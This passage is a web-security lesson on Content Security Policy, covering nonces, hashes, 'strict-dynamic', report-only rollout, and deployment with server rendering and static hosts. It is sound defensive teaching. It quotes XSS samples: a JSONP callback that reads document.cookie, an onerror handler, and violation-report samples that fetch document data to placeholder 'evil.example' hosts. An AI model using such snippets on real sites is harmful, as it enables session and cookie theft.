cf.completefrontend
My progress
FUNDAMENTALS · MODULE 11

Content Security Policy

A response header that tells the browser which scripts, frames, and connections a page may use, so an injected script is blocked even when an XSS bug slips through.

The bug that gets through anyway

Picture a support site with a help center. Agents write articles in a rich text editor, and the site renders them for millions of customers. The team escapes output, uses a sanitizer, and reviews every use of innerHTML. They have read the XSS lesson and they follow it.

Then a new version of the sanitizer ships with a parsing bug. For three days, an article can carry a script tag that survives cleaning. Someone notices, writes one article with a payload that reads the session token from a page variable, and sends it to their own server. Every customer who opens that article runs the attacker's code as themselves.

Nothing in this story is careless. Large apps have thousands of places where data meets markup, dozens of dependencies that touch the DOM, and new code every day. Sooner or later one of those places is wrong. The question is what happens on that day.

A second line of defense in the browser

A Content Security Policy (CSP) is a rule set that the server sends with the page, usually as the Content-Security-Policy response header. It tells the browser which scripts may run, which sites may frame the page, where forms may post, and more. The browser enforces it for every resource and every inline script, no matter how that script got into the page.

With a good policy, the same sanitizer bug plays out differently. The attacker's script tag reaches the DOM, but it has no valid nonce (a random one-time token the server put on its own scripts), so the browser refuses to run it. The console shows a violation, the site's report endpoint receives a JSON report, and the team learns about the bug from their dashboard instead of from a breach notice.

Two side-by-side panels with the same help article containing an injected script tag that calls steal(). Without CSP, the script runs and the session token is sent to the attacker, a breach found weeks later. With a nonce-based CSP, the injected tag has no nonce attribute, so the browser blocks it and sends a report to the team, an alert found the same day.without CSPwith a nonce-based CSPhelp article HTML<script>steal()</script>slipped past the sanitizerscript runstoken sent to attackera breach, found weeks latersame article HTML<script>steal()</script>no nonce attributeblockedreport sent to the teaman alert, found today
The injection bug is identical on both sides. CSP does not prevent the bug; it decides what the bug can do once it reaches the page.

What CSP is and what it is not

CSP is defense in depth. It does not find or fix injection bugs; escaping, safe APIs, and sanitizers do that, as the XSS lesson explains. CSP limits what an injection can do once it lands. Think of it as the seatbelt, not the brakes: you still need both.

  • It stops injected script from running. This is its main job, and the part this lesson spends most time on: script-src, nonces, hashes, and 'strict-dynamic'.
  • It limits other risky features. Plugins (object-src), the document base URL (base-uri), form targets (form-action), and who may frame you (frame-ancestors).
  • It reports. Every blocked action can send a report, which makes CSP a cheap detector of XSS attempts and broken deploys.
  • It is not a data-leak firewall. Directives like connect-src and img-src make leaks harder, but a determined attacker who already runs code has many ways out. Do not sell CSP as exfiltration protection.

A good policy is short. A bad policy is often long: a list of 40 trusted domains that looks careful but blocks almost nothing. The rest of this lesson explains why, and how to write the short, strong kind, roll it out without breaking the site, and keep it working with server rendering, static hosting, and third-party tags.

Check your understanding · Exercise 1

A page has a strong CSP. An attacker finds a stored XSS bug and injects markup. What can the CSP do? Select all that apply.

The mental model: a door guard with a rule card

Think of the browser as a guard at the door of your page. The server hands the guard a rule card before anything else arrives. Every time the page wants to run a script, load an image, open a connection, or be shown inside a frame, the guard reads the card and says yes or no. The guard does not care how the request came to be: your code, a library, or an attacker's injected tag all get the same check.

The rule card is a list of directives, separated by semicolons. Each directive names one kind of resource and lists the sources allowed for it. Here is a small policy, split over lines for reading (a real header is one line):

http
Content-Security-Policy:
  default-src 'self';
  script-src 'nonce-q8Zt3kVx1pR0aWm2' 'strict-dynamic';
  img-src 'self' https://images.example-cdn.com data:;
  object-src 'none';
  base-uri 'none';
  frame-ancestors 'self';
  report-to csp
One header, seven directives. Each directive is a name followed by its allowed sources.

Three kinds of directives

  • Fetch directives control where resources may come from: script-src, style-src, img-src, font-src, connect-src (fetch, XHR, WebSocket, EventSource), media-src, frame-src, worker-src, object-src, and the fallback default-src.
  • Document directives control the page itself: base-uri (what a base tag may set) and sandbox (put the page in a sandbox like a sandboxed iframe).
  • Navigation and reporting directives: form-action (where forms may submit), frame-ancestors (who may embed this page), and report-to or the older report-uri (where violation reports go).

Source expressions

The values after a directive name are source expressions. They come in a few shapes, and each shape trusts something different. Learning to read them is most of reading a CSP.

SourceExampleWhat it trusts
Keyword'self', 'none''self' is the page's own origin (scheme, host, port). 'none' allows nothing.
Host or schemehttps://cdn.example.com, https:Any URL on that host, or any URL with that scheme. Paths narrow it, but redirects drop the path check.
Nonce'nonce-q8Zt3kVx1pR0aWm2'Any script or style element whose nonce attribute matches exactly.
Hash'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='Any inline script or style whose exact text hashes to this value.
Behavior keyword'strict-dynamic', 'unsafe-inline', 'unsafe-eval'Changes the rules instead of naming a source: trust propagation, inline code, or string-to-code.

Keywords keep their single quotes. 'self' with quotes is the page's origin; self without quotes is a host named self. This is a real mistake in real policies, and nothing breaks loudly when you make it.

Fallback: how default-src fills the gaps

Most fetch directives fall back to default-src when they are missing. If a policy sets only default-src 'self', then images, scripts, fonts, and connections are all limited to the same origin. worker-src falls back first to child-src, then script-src, then default-src. script-src-elem and script-src-attr (finer splits of script-src) fall back to script-src.

The non-fetch directives do not fall back. base-uri, form-action, frame-ancestors, and sandbox are unrestricted unless you set them. A policy of only default-src 'none' still lets an attacker inject a base tag or a form that posts anywhere.

A graph of directive fallback. Four fetch directives, script-src, img-src, connect-src, and font-src, each point to default-src, which is used only when the directive is missing. Below a dashed line, base-uri, form-action, and frame-ancestors have no fallback: if you do not set them, they are unrestricted.fetch directivesscript-srcimg-srcconnect-srcfont-srcdefault-srcthe fallbackused only when adirective is missingno fallback: unrestricted when missingbase-uriform-actionframe-ancestorsset these three on purpose
Fetch directives borrow from default-src only when they are absent. The three below the line never borrow, so default-src 'none' alone leaves them wide open.

Check your understanding · Exercise 2

The policy is default-src 'self'; script-src 'nonce-abc'. Which of these are allowed? Select all that apply.

Delivering a policy: header, meta tag, and what each can do

A policy reaches the browser in one of two ways. The normal way is the Content-Security-Policy HTTP response header on the HTML document. The other is a meta tag in the page's head with http-equiv="Content-Security-Policy" and the policy in its content attribute. They look equal, but they are not.

The header arrives before the page

Headers arrive before the first byte of HTML, so the browser knows the rules before it parses anything. Every script, inline or external, early or late, is checked. A meta policy only applies from the moment the parser reaches that tag; anything earlier in the document is not covered. Put it first in head if you use it at all.

A sequence diagram between the browser, the server, and a report endpoint. The browser requests /help/article-42. The server answers with the CSP header first, carrying nonce R, then the HTML whose own scripts carry nonce R, and an injected tag with no nonce. The browser runs the nonced scripts, blocks the injected tag, and posts a violation report to the report endpoint.BrowserServerReportsGET /help/article-421. header: CSP, nonce R2. HTML with nonce R3. injected tag, no nonceviolation reportapp.js runs: nonce matchesinjected tag blocked: no nonce
The policy arrives with the headers, before any HTML, so every script in the page is checked, including ones far down a streamed response.

What a meta tag cannot do

Some directives only make sense if the rules exist before the page does, so the spec ignores them in a meta policy. The browser logs a console warning and moves on, which means a static site can believe it is protected when it is not.

FeatureHeaderMeta tag
script-src, style-src, other fetch directivesYesYes, for content after the tag
frame-ancestors (who may frame the page)YesIgnored
report-uri and report-to (reporting)YesIgnored
sandboxYesIgnored
Report-only mode (Content-Security-Policy-Report-Only)YesNot supported
Covers the whole document from the first byteYesOnly after parsing reaches the tag

So a meta CSP is a fallback for hosts where you cannot set headers, such as some static hosts. It can still block injected scripts, which is the main value. It cannot stop clickjacking, cannot report, and cannot be trialed in report-only mode first.

Two policies means both must pass

A page can receive more than one policy: two headers, a header plus a meta tag, or a header added by your app and another added by a CDN or proxy. The browser enforces each policy separately, and a resource loads only if every policy allows it. Policies never loosen each other.

This catches teams out. The app sends a strict nonce-based policy, and a security proxy appends script-src 'self'. Now every nonced script from a CDN fails the second policy, and the site breaks in production but not on a laptop. When debugging CSP, always read the real response headers in the Network panel, not your config file.

What happens when something is blocked

  • The resource does not load, or the inline code does not run. There is no error thrown into your JavaScript for a blocked script tag; it simply does nothing.
  • The console prints a message naming the directive, the blocked URL or inline, and often the hash the browser computed for the blocked inline code.
  • The document fires a securitypolicyviolation event with the same details (violatedDirective, blockedURI, sourceFile, lineNumber, sample). Your own code can listen to it.
  • If the policy has a reporting endpoint, the browser sends a report there, possibly a little later and batched with others.
  • Blocked eval and new Function calls are different: they throw an EvalError, so code that uses them breaks loudly.

Check your understanding · Exercise 3

A static site sets its CSP with a meta tag. Which statements are true? Select all that apply.

Nonces and hashes: trusting your scripts, not your domains

The core question of script-src is: how does the browser tell your scripts from injected ones? Old policies answered with places ("scripts from these domains are fine"). Modern policies answer with proof: each trusted script carries a secret the attacker cannot know (a nonce), or its exact content is pinned in advance (a hash).

Nonces: a fresh secret on every response

A nonce is a random value the server makes for one response only. It goes in two places: the header ('nonce-R') and a nonce attribute on every script tag the server writes. The browser runs a script only if its attribute matches the header. An attacker who injects markup does not know this response's value, so their tag has no matching nonce.

ts
import { randomBytes } from "node:crypto";

app.use((req, res) => {
  // 16 random bytes = 128 bits, new for every response
  const nonce = randomBytes(16).toString("base64");
  res.setHeader(
    "Content-Security-Policy",
    `script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'none'`,
  );
  res.setHeader("Cache-Control", "private, no-store");
  res.send(renderPage({ nonce })); // every script tag gets nonce={nonce}
});
A minimal Express handler. The nonce is created per request and passed to the template.
Six annotated lines. The header script-src 'nonce-q8Zt' is this response's secret. A script tag with nonce q8Zt and src /app.js matches and runs. An inline script with nonce q8Zt calling boot matches and runs. An injected script calling steal has no nonce and is blocked. An injected image with an onerror handler is blocked, because handlers are never allowed by a nonce. The next response uses a new value, nonce Lm9w.CSP: script-src 'nonce-q8Zt'this response's secret<script nonce="q8Zt" src="/app.js">matches: runs<script nonce="q8Zt">boot()matches: runs<script>steal()</script>no nonce: blocked<img src=x onerror=steal()>handler: blockednext response: 'nonce-Lm9w'a new value every time
A nonce works for inline and external scripts alike, but never for handler attributes like onerror. The value changes on every response, so a leaked one is useless next time.

Three rules make a nonce worth having:

  1. Unguessable. At least 128 bits from a cryptographic random source (crypto.randomBytes, crypto.getRandomValues), base64 encoded. Never a counter, a timestamp, or a hash of the URL.
  2. New on every response. Not per user, not per session, not per deploy. A nonce that repeats can be read from one page and used in the next injection.
  3. Never cached in a shared cache. If a CDN caches the HTML, every visitor gets the same nonce, and it is no longer secret. Mark nonced HTML private or no-store, or have the edge make a fresh nonce and rewrite the page on every response.

Browsers also help keep the nonce secret. When the CSP arrives as a header, the HTML spec has the browser clear an element's nonce content attribute once the element is in the page. After that, getAttribute("nonce") and CSS attribute selectors see an empty value, and only the element's nonce property still holds it for script. This blocks tricks that leak the value through CSS attribute selectors.

What a nonce does not protect

A nonce trusts the whole tag it sits on. If your server writes user data inside a nonced inline script, for example var name = "..." with unescaped input, an attacker can close the string and run code inside your trusted script. CSP cannot see the difference. Serialize data into inline scripts with a JSON encoder that escapes < and quotes, or move the data into a type="application/json" block and parse it.

Hashes: pinning the exact text of an inline script

A hash source is 'sha256-' (or sha384, sha512) followed by the base64 digest of an inline script's exact text, everything between the opening and closing tags. The browser hashes each inline script and runs it only if the digest is in the list. No server work per request is needed, which makes hashes the tool for pages that are built once and served as static files.

html
<!-- The text between the tags is hashed byte for byte -->
<script>window.__THEME__ = localStorage.getItem("theme") || "light";</script>

<!-- Header (computed at build time):
  script-src 'sha256-<digest of the line above>' 'strict-dynamic' -->
A typical static-site use: a tiny theme script that must run before paint.
  • Exact bytes. One added space, a changed quote, or a different line ending gives a new hash. Compute hashes in the build step from the final output, never by hand.
  • Inline only, in practice. CSP Level 3 lets a hash allow an external script that has a matching integrity attribute, but support across browsers is uneven, so do not depend on it.
  • Not for event handlers by default. Hashes and nonces never allow onclick="..." attributes. The 'unsafe-hashes' keyword makes hashes apply to handler text, but it is a migration aid, not a goal.
  • Useful console help. When an inline script is blocked, Chrome prints the hash it computed, which is handy for one-off scripts.
QuestionNonceHash
Needs a server per request?Yes, to make a fresh valueNo, computed at build time
Works with a shared CDN cache of the HTML?Only if the edge rewrites the nonceYes
Inline script content can change per request?YesNo, every variant needs its own hash
Allows external scripts?Yes, any src with the attributeNot reliably
Best fitServer-rendered and streamed pagesStatic sites and fixed bootstrap snippets

Check your understanding · Exercise 4

Which nonce setups are safe? Pick one.

Why domain allowlists fail, and what 'strict-dynamic' does instead

For years the standard advice was to list every domain your scripts come from: script-src 'self' https://www.google-analytics.com https://cdn.jsdelivr.net https://ajax.googleapis.com. It reads as careful. In practice it usually protects very little.

The 2016 study: most allowlists are bypassable

In 2016 a team of Google security engineers published a study called CSP Is Dead, Long Live CSP! They took the policies from a search engine crawl of about 100 billion pages, 26,011 distinct policies on about 1.7 million hosts, and checked whether an attacker with an HTML injection bug could still run script. Their headline finding: 94.72% of the distinct policies could be bypassed, and 99.34% of hosts with a CSP used a policy that offered no real protection against XSS.

Many failed for simple reasons, such as 'unsafe-inline' or a wildcard. But even careful allowlists failed, because the allowed domains themselves hosted things an attacker could use. Three kinds of bypass came up again and again:

  • JSONP endpoints. An API like https://allowed.example.com/api?callback=handle returns handle({...}). An attacker injects script src pointing at it with callback=alert(document.cookie)//, and the allowed host returns the attacker's code as a valid script.
  • Old libraries that run code from markup. If an allowed CDN hosts an old version of AngularJS, the attacker loads that version from the allowed host and then injects markup with a template expression. AngularJS evaluates it, and the attacker's code runs without any inline script.
  • Open redirects and user uploads. A path-restricted source like https://cdn.example.com/js/ stops checking the path after a redirect, and any allowed host that serves user files can serve a script.

Big shared CDNs host thousands of libraries and versions, so allowing one of them allows every gadget on it. And every new domain your marketing team adds makes the list longer and weaker. The fix the paper proposed, and the reason 'strict-dynamic' exists, is what modern policies use: trust scripts by nonce or hash, and let trusted scripts load what they need.

'strict-dynamic': trust flows from your scripts

Real apps do not only have the scripts in their HTML. A loader script adds chunks with document.createElement("script"), a tag manager adds analytics, a bundler injects lazy-loaded routes. Putting a nonce on every one of those is often impossible, because you do not control the code that creates them.

'strict-dynamic' solves this. It says: a script that is already trusted may load more scripts, and those are trusted too. Trust passes along when a trusted script creates a script element and inserts it with DOM APIs such as appendChild. It does not pass to scripts created by the HTML parser, so document.write of a script tag and injected markup are still blocked.

A trust tree under strict-dynamic. The nonced loader at the top is trusted because its nonce matches. It adds app.js and a tag manager with appendChild, so both are trusted. app.js adds a route chunk and the tag manager adds a vendor script, both trusted. The tag manager also writes a script with document.write, which is parser-inserted and blocked. Off to the side, an injected script with no nonce and no trusted parent is blocked.loadernonce matchesevilinjected: no nonceapp.jstagschunkvendorwriteappendChildtrustedtrusteddocument.write: blocked
Trust passes down only through DOM APIs like appendChild. A script written with document.write, or one with no trusted parent at all, is blocked.

When 'strict-dynamic' is present, browsers that understand it ignore host allowlists, scheme sources such as https:, 'self', and 'unsafe-inline' in script-src. That sounds odd, but it is the point: the only roots of trust left are your nonces and hashes. The ignored values are still useful as fallbacks for very old browsers, which is the trick behind the strict recipe in the next chapter.

How the script appearsWith nonce or hash onlyPlus 'strict-dynamic'
Server-written tag with the right nonceRunsRuns
Created by a trusted script with createElement + appendChildBlocked (no nonce)Runs
An attacker's tag injected into the server-rendered HTMLBlockedBlocked
Written by document.write from a trusted scriptBlockedBlocked (parser-inserted)
Inline onclick attributeBlockedBlocked
Tag from an allowlisted host, no nonceAllowed only if host is listedBlocked: host lists are ignored

Try it. The lab below has a policy you can edit with checkboxes and a set of script tags and injections a real page might contain. Change the policy and watch which ones run.

Preset
Edit
http
Content-Security-Policy: script-src 'self' cdn.example.com
With this policy, 4 of your 8 scripts run and 1 of 3 attacks work. bootstrap: inline, with nonce: blocked. /app.js tag with nonce: runs. chunk that app.js adds: runs. analytics the tag manager adds: runs. theme script, no nonce: blocked. old onclick handler: blocked. vendor via document.write: runs. chart library calling eval(): blocked. injected inline script: blocked. injected JSONP from cdn: runs. injected base href + /app.js: blocked.bootstrap: inline, with nonceblocked: breaks/app.js tag with noncerunschunk that app.js addsrunsanalytics the tag manager addsrunstheme script, no nonceblocked: breaksold onclick handlerblocked: breaksvendor via document.writerunschart library calling eval()blocked: breaksinjected inline scriptblockedinjected JSONP from cdnattack worksinjected base href + /app.jsblocked
1 attack works. Look for a host list the attacker can reuse, 'unsafe-inline', or a missing base-uri.
Why each one runs or is blocked
  • bootstrap: inline, with nonce: The tag has a nonce, but the policy lists no nonce source, and inline code is not allowed.
  • /app.js tag with nonce: Its host is on the allowlist.
  • chunk that app.js adds: Its host is on the allowlist.
  • analytics the tag manager adds: Its host is on the allowlist.
  • theme script, no nonce: No matching nonce, no listed hash, and inline code is not allowed.
  • old onclick handler: Nonces and hashes never allow handler attributes. Move it to addEventListener.
  • vendor via document.write: document.write makes a parser-inserted tag; it runs only because the host is listed.
  • chart library calling eval(): eval throws an EvalError without 'unsafe-eval'. Precompile instead.
  • injected inline script: No matching nonce, no listed hash, and inline code is not allowed.
  • injected JSONP from cdn: The host is allowlisted, so the JSONP reply runs as the attacker's code.
  • injected base href + /app.js: The rewritten URL is not on the allowlist.

Check your understanding · Exercise 5

A page sends script-src 'nonce-R' 'strict-dynamic' https://cdn.example.com. Which scripts run in a current browser? Select all that apply.

A strict CSP recipe and the cost of the unsafe keywords

Put the last two chapters together and you get what is usually called a strict CSP. It is short, it does not list domains, and it stays the same when you add a new analytics vendor. Here is the nonce version, the one to reach for on any server-rendered app:

http
Content-Security-Policy:
  script-src 'nonce-{RANDOM}' 'strict-dynamic' https: 'unsafe-inline';
  object-src 'none';
  base-uri 'none';
  report-to csp-endpoint
The strict nonce recipe. Swap the nonce for build-time hashes on static pages.

Reading it line by line

  • 'nonce-{RANDOM}' is the root of trust. Every script tag the server writes carries it.
  • 'strict-dynamic' lets those scripts load their chunks and vendors, and tells modern browsers to ignore the next two values.
  • https: and 'unsafe-inline' are fallbacks for very old browsers only. A browser that does not know 'strict-dynamic' still runs your scripts over HTTPS. A browser that does not know nonces at all still runs inline code. Modern browsers ignore both, because a nonce or 'strict-dynamic' is present. They make the policy safe to ship, not weaker.
  • object-src 'none' turns off object and embed. Plugins could run script outside script-src and nobody needs them in 2026.
  • base-uri 'none' (or 'self' if you use a base tag) stops an injected base href from changing where every relative script URL points. Without it, an attacker can redirect src="/app.js" to their own server even though the tag has a valid nonce.
  • report-to sends violations to your endpoint. Add it from day one.

Notice what is missing: no default-src, no img-src, no connect-src. The strict recipe is aimed at script execution, where XSS turns into account takeover. You can add resource directives later, but each one is a list of domains to keep current, and a stale list breaks features. Add require-trusted-types-for 'script' next if you want to stop DOM XSS at the sink; the XSS lesson covers Trusted Types.

A matrix of four policy styles against five properties. Allowlist: stops injected inline scripts, does not stop JSONP gadgets, needs a host list, works with CDN-cached HTML, cannot allow per-request inline scripts. Allowlist plus unsafe-inline: stops neither attack, needs a host list, is cacheable, allows dynamic inline. Nonce plus strict-dynamic: stops both, no host list, not CDN-cacheable as is, allows dynamic inline. Hash plus strict-dynamic: stops both, no host list, CDN-cacheable, but inline scripts cannot vary per request.stopsinlinestopsJSONPno hostlistCDNcacheddynamicinlineAllowlistyesnonoyesnoAllowlist + inlinenononoyesyesNonce + s-dyesyesyesnoyesHash + s-dyesyesyesyesno
Only the two strict styles stop both attacks. Between them, the choice is caching against dynamic inline content: nonces for per-request HTML, hashes for static HTML. (s-d is 'strict-dynamic'.)

What 'unsafe-inline' costs

'unsafe-inline' allows every inline script, every inline event handler, and every javascript: URL. That is exactly the shape most XSS payloads take, so a policy with 'unsafe-inline' (and no nonce or hash to cancel it) gives close to zero protection against injected script. Teams add it to get a broken page working on launch day and never take it out.

The way out is to make your inline code nonce-able. Move onclick="..." attributes into addEventListener calls in a script file, replace href="javascript:..." with buttons, and give the remaining inline scripts a nonce or a hash. Frameworks such as React, Vue, and Svelte already attach handlers this way, so most of the work is in old templates and third-party snippets.

What 'unsafe-eval' costs

'unsafe-eval' allows code built from strings: eval, new Function, and setTimeout with a string. It does not let an injected tag run by itself, so it is less dangerous than 'unsafe-inline'. But it turns any place where attacker text reaches one of those functions into code execution, and some template libraries compile templates from strings at runtime, which is the gadget pattern again.

Most modern builds do not need it. Precompile templates at build time, avoid libraries that compile at runtime, and if you need WebAssembly, use 'wasm-unsafe-eval', which allows compiling Wasm without allowing JavaScript eval.

Decision Which kind of script policy should a new product ship?

Domain allowlist

script-src 'self' https://cdn-a.com https://vendor-b.com ...

Update the list whenever a vendor or CDN changes

Pros

  • No changes to HTML or templates
  • Easy to read

Cons

  • Usually bypassable through JSONP, old libraries, or redirects on allowed hosts
  • Grows with every vendor and breaks when vendors move domains

Nonce + 'strict-dynamic'

Fresh nonce per response in header and every server-written script tag

Loaders add more scripts with DOM APIs

Pros

  • Strong: injected markup has no nonce
  • No domain list to maintain; vendors loaded by your scripts just work

Cons

  • Needs a server or edge function per response
  • Nonced HTML cannot be shared in a CDN cache as-is

Hash + 'strict-dynamic'

Build step hashes each inline bootstrap script

A small hashed inline loader adds the entry bundle, which loads the rest

Pros

  • Works on fully static, CDN-cached HTML
  • No per-request work

Cons

  • Every change to an inline script needs a rebuild of the header
  • Inline content cannot vary per request

What we pick: Use nonce + 'strict-dynamic' for server-rendered or streamed apps, and hash + 'strict-dynamic' for static sites and SPAs served from a CDN. Treat a domain allowlist as a stepping stone at most, never as the target.

Check your understanding · Exercise 6

A reviewer says the strict recipe is weak because it contains https: and 'unsafe-inline'. What is true? Select all that apply.

Rolling out without breaking the site: report-only and the Reporting API

Turning on an enforced CSP on a large existing site is risky. Some old page has an inline onclick, and a partner widget writes a script with document.write. A payment provider's iframe loads from a domain nobody wrote down. If you enforce on day one, checkout breaks and the policy is reverted within the hour, often for good.

The safe path is to watch before you block. CSP has a second header for exactly this.

Report-only mode

Content-Security-Policy-Report-Only takes the same policy syntax, but the browser blocks nothing. It checks every script and resource as if the policy were enforced and sends a report for each would-be violation. Users see no change; you see every place the policy would break.

You can send both headers at once, and this is the normal steady state of a mature site: an enforced policy that is known to be safe, plus a report-only policy that is one step stricter. When the stricter one has been quiet for a while, promote it and start the next step.

Where reports go

There are two reporting mechanisms, and for now you send both. The older report-uri directive takes a URL, and the browser POSTs one JSON body per violation with content type application/csp-report; it is deprecated in the spec but still widely supported.

The newer report-to directive names an endpoint defined in the Reporting-Endpoints header, part of the Reporting API, which batches reports and posts them as application/reports+json. When a policy has both directives, a browser that supports report-to uses it and ignores report-uri.

http
Reporting-Endpoints: csp-endpoint="https://example.com/csp-reports"
Content-Security-Policy-Report-Only:
  script-src 'nonce-q8Zt3kVx1pR0aWm2' 'strict-dynamic' 'report-sample';
  object-src 'none'; base-uri 'none';
  report-uri https://example.com/csp-reports;
  report-to csp-endpoint
Both reporting paths, in report-only mode. 'report-sample' adds the first 40 characters of blocked inline code to each report.
json
[{
  "type": "csp-violation",
  "url": "https://example.com/help/article-42",
  "body": {
    "documentURL": "https://example.com/help/article-42",
    "blockedURL": "inline",
    "effectiveDirective": "script-src-elem",
    "disposition": "report",
    "sample": "fetch('https://evil.example/c?'+document",
    "sourceFile": "https://example.com/help/article-42",
    "lineNumber": 212,
    "statusCode": 200
  }
}]
One Reporting API report. disposition: report means it came from report-only mode.

A rollout plan that works

A state machine of a CSP rollout. From no policy, after adding nonces, ship report-only to 5% of traffic. While violations come in, fix code or ask vendors and stay there. After a quiet week, move to report-only at 100% of traffic. When rare flows have been quiet too, enforce, still reporting. A kill switch goes back from enforced to report-only if errors spike.No policyadd noncesReport-only5% of trafficReport-only100% of trafficEnforcedstill reportingshipquiet a weekrare flows quietviolations? fix codeor vendors, stay herekill switch
Each move forward waits for quiet reports, not a date. The kill switch makes enforcement a reversible step, which is what gets it approved.
  1. Inventory. Add nonces to every server-written script tag, and move inline handlers and javascript: URLs into script files. This is most of the work.
  2. Report-only for a slice. Ship the strict policy as report-only to a few percent of traffic. Read the reports for a week, grouped by effectiveDirective and blockedURL.
  3. Fix and widen. Fix your own violations, ask vendors about theirs, then go to 100% report-only and wait for a quiet period that covers rare flows such as checkout, password reset, and admin pages.
  4. Enforce. Switch the header name. Keep reporting on, and keep a kill switch (a config flag that falls back to report-only) for the first days.
  5. Tighten. Add the next directive in report-only alongside the enforced policy and repeat.

Reports are noisy: triage them

A popular site gets many thousands of reports a day, and most are not about your code. Browser extensions inject scripts into every page, so you see blockedURL values with chrome-extension or moz-extension schemes and inline samples you never wrote. Corporate proxies and antivirus tools inject scripts too. And the endpoint is public, so anyone can post fake reports.

  • Drop or tag reports whose sourceFile or blockedURL uses an extension scheme.
  • Group by effectiveDirective plus blockedURL origin plus page route, and alert on new groups, not raw counts.
  • Rate-limit and size-limit the endpoint; never trust report content when you display it in an admin tool (escape it, it is attacker-controlled).
  • Watch for sudden spikes of inline violations on one route after enforcement: that is often a real injection attempt, or a deploy that lost its nonces.

Practice the triage below. Each report is one you would see in the first week of a rollout. Decide what to do with it.

Pick an action for each report.

text
Report 1
documentURL: https://example.com/pricing
effectiveDirective: script-src-elem
blockedURL: chrome-extension://kbfn.../inject.js
count this week: 3,912 across 400 pages
text
Report 2
documentURL: https://example.com/account/settings
effectiveDirective: script-src-attr
blockedURL: inline
sample: toggleAdvanced()
text
Report 3
documentURL: https://example.com/ (all pages)
effectiveDirective: script-src-elem
blockedURL: https://cdn.chatvendor.example/v2/widget.js
sourceFile: https://cdn.chatvendor.example/embed.js
text
Report 4
documentURL: https://example.com/help/article-42
effectiveDirective: script-src-elem
blockedURL: inline
sample: fetch('https://x.evil.example/?c='+docum
first seen: today, only this page
text
Report 5
documentURL: https://example.com/reports
effectiveDirective: script-src
blockedURL: eval
sourceFile: https://example.com/assets/legacy-charts.js
text
Report 6
documentURL: https://example.com/ (all pages)
effectiveDirective: script-src-elem
blockedURL: inline
sample: window.__THEME__ = localStorage.get
first seen: right after the 14:02 deploy

Check your understanding · Exercise 7

You are moving a large site to a strict CSP. Which steps are sound? Select all that apply.

CSP with server rendering, streaming, SPAs, and static hosting

How you render and host the page decides which strict policy you can use. Nonces need code that runs per response. Hashes need inline scripts that do not change between responses. This chapter walks through the common setups and the trap in each.

Server rendering: thread the nonce through the render

In a server-rendered app, the nonce is made at the start of the request and passed down to everything that writes a script tag: the framework's own bootstrap scripts, your inline data blocks, and any tag manager snippet. Frameworks have a slot for this. React's renderToPipeableStream and renderToReadableStream take a nonce option and put it on the scripts React writes.

In Next.js, a proxy file (called middleware before Next.js 16) creates the nonce and puts the CSP header on both the request and the response. During rendering, Next.js reads the nonce from the request's CSP header and applies it to its own scripts.

The cost is caching. A page with a per-request nonce cannot be built once and served to everyone, so in Next.js nonced pages are rendered dynamically. That is fine for logged-in apps that are dynamic anyway. For a marketing page you want served from a CDN, hashes are often the better fit.

Streaming: the nonce must exist before the first byte

With streaming SSR, the server sends the head of the page at once and more HTML as data arrives. Headers go out first, so the nonce has to be chosen before rendering starts, which is the easy part. The trap comes later: each Suspense boundary that resolves sends a small inline script that moves the finished HTML into place. Every one of those scripts needs the nonce too.

A timeline of one streamed response. At 0 ms the headers arrive with the CSP and nonce R. Right after, the shell HTML arrives with scripts carrying nonce R. At about 480 ms the comments chunk arrives with an inline swap script carrying nonce R, which runs. At about 900 ms the recommendations chunk arrives with a swap script that has no nonce; it is blocked and that part of the page stays stuck on its skeleton.headersCSP: nonce Rshell HTMLscripts: nonce Rcomments chunkswap: nonce Rrecs chunkswap: no noncepage stuck on skeleton0 ms480 ms900 ms
The nonce is fixed before the first byte and must be stamped on every script the renderer sends later, including the small swap scripts for each Suspense boundary.

If a custom streaming setup forgets the nonce on those late scripts, the page looks fine at first and then stays stuck on its loading skeletons, with a console full of script-src violations. Pass the nonce to the renderer, not just to your own templates, and test with the policy enforced in development.

Cached HTML with a fresh nonce: rewriting at the edge

Some teams want both: HTML cached at the CDN and a nonce per response. An edge function can do this. The cached HTML carries a placeholder in every nonce attribute; on each response the edge makes a fresh random value, puts it in the header, and streams the HTML through a rewriter that swaps the placeholder.

It works, but it adds an edge step to every page, and it has a trap: if an attacker can inject the placeholder text into the page, the rewriter blesses their tag too. Make the placeholder a secret random value per build that never reaches users, since the rewrite replaces it in every response.

SPAs and static sites: hashes and the external-script trap

A single-page app built with Vite or a similar tool usually ships an index.html with one or two external tags like script type="module" src="/assets/index-4f2a.js". That file is the same for every visitor, so nonces are out and hashes are in. But hashes allow inline scripts, and that tag is external.

  • Hash + 'strict-dynamic' with an inline loader. Replace the external tag with a tiny inline script that creates the entry script element and appends it. Hash the loader. 'strict-dynamic' lets the entry and its chunks load. This is the strongest option.
  • script-src 'self' without 'strict-dynamic'. Simpler: every script must come from your own origin. It is reasonably strong only if your origin serves no user uploads, no JSONP, and no old libraries, since those would be gadgets. Add object-src 'none' and base-uri 'none' either way.
  • Delivery. Static hosts like Netlify, Vercel, Cloudflare Pages, and S3 behind CloudFront let you set headers through config files or rules. Use a header if you can; fall back to a meta tag (losing frame-ancestors and reporting) only if you cannot.

Think first

A docs site is fully static and cached at the CDN. It has one inline script that sets the color theme before paint, and loads /assets/main.js. What strict policy fits?

Check your understanding · Exercise 8

Which pairings of setup and policy are sound? Select all that apply.

Frames and third-party scripts under CSP

frame-ancestors: who may put you in a frame

frame-ancestors is the one CSP directive that protects the page from being embedded rather than controlling what it loads. frame-ancestors 'none' means no site may show this page in an iframe; 'self' allows only your own origin; a list of origins allows trusted partners. It is the modern replacement for the X-Frame-Options header, and when both are present, current browsers follow frame-ancestors.

Two things to remember. It works only as a header, never in meta. And it is not the same as frame-src, which controls which frames your page may load: one faces outward, the other inward. The clickjacking and iframes lesson covers framing attacks, sandboxing, and partner embeds in depth.

Third-party scripts: what CSP can and cannot do

Analytics, A/B testing, chat widgets, ads, and payment SDKs are where strict CSP rollouts most often stall. Under a nonce + 'strict-dynamic' policy, a third-party script fits in one of three ways:

  • Loaded by a nonced tag you write. You add nonce to the vendor's snippet. Anything the vendor loads with createElement and appendChild is trusted through 'strict-dynamic'. This covers many modern vendors.
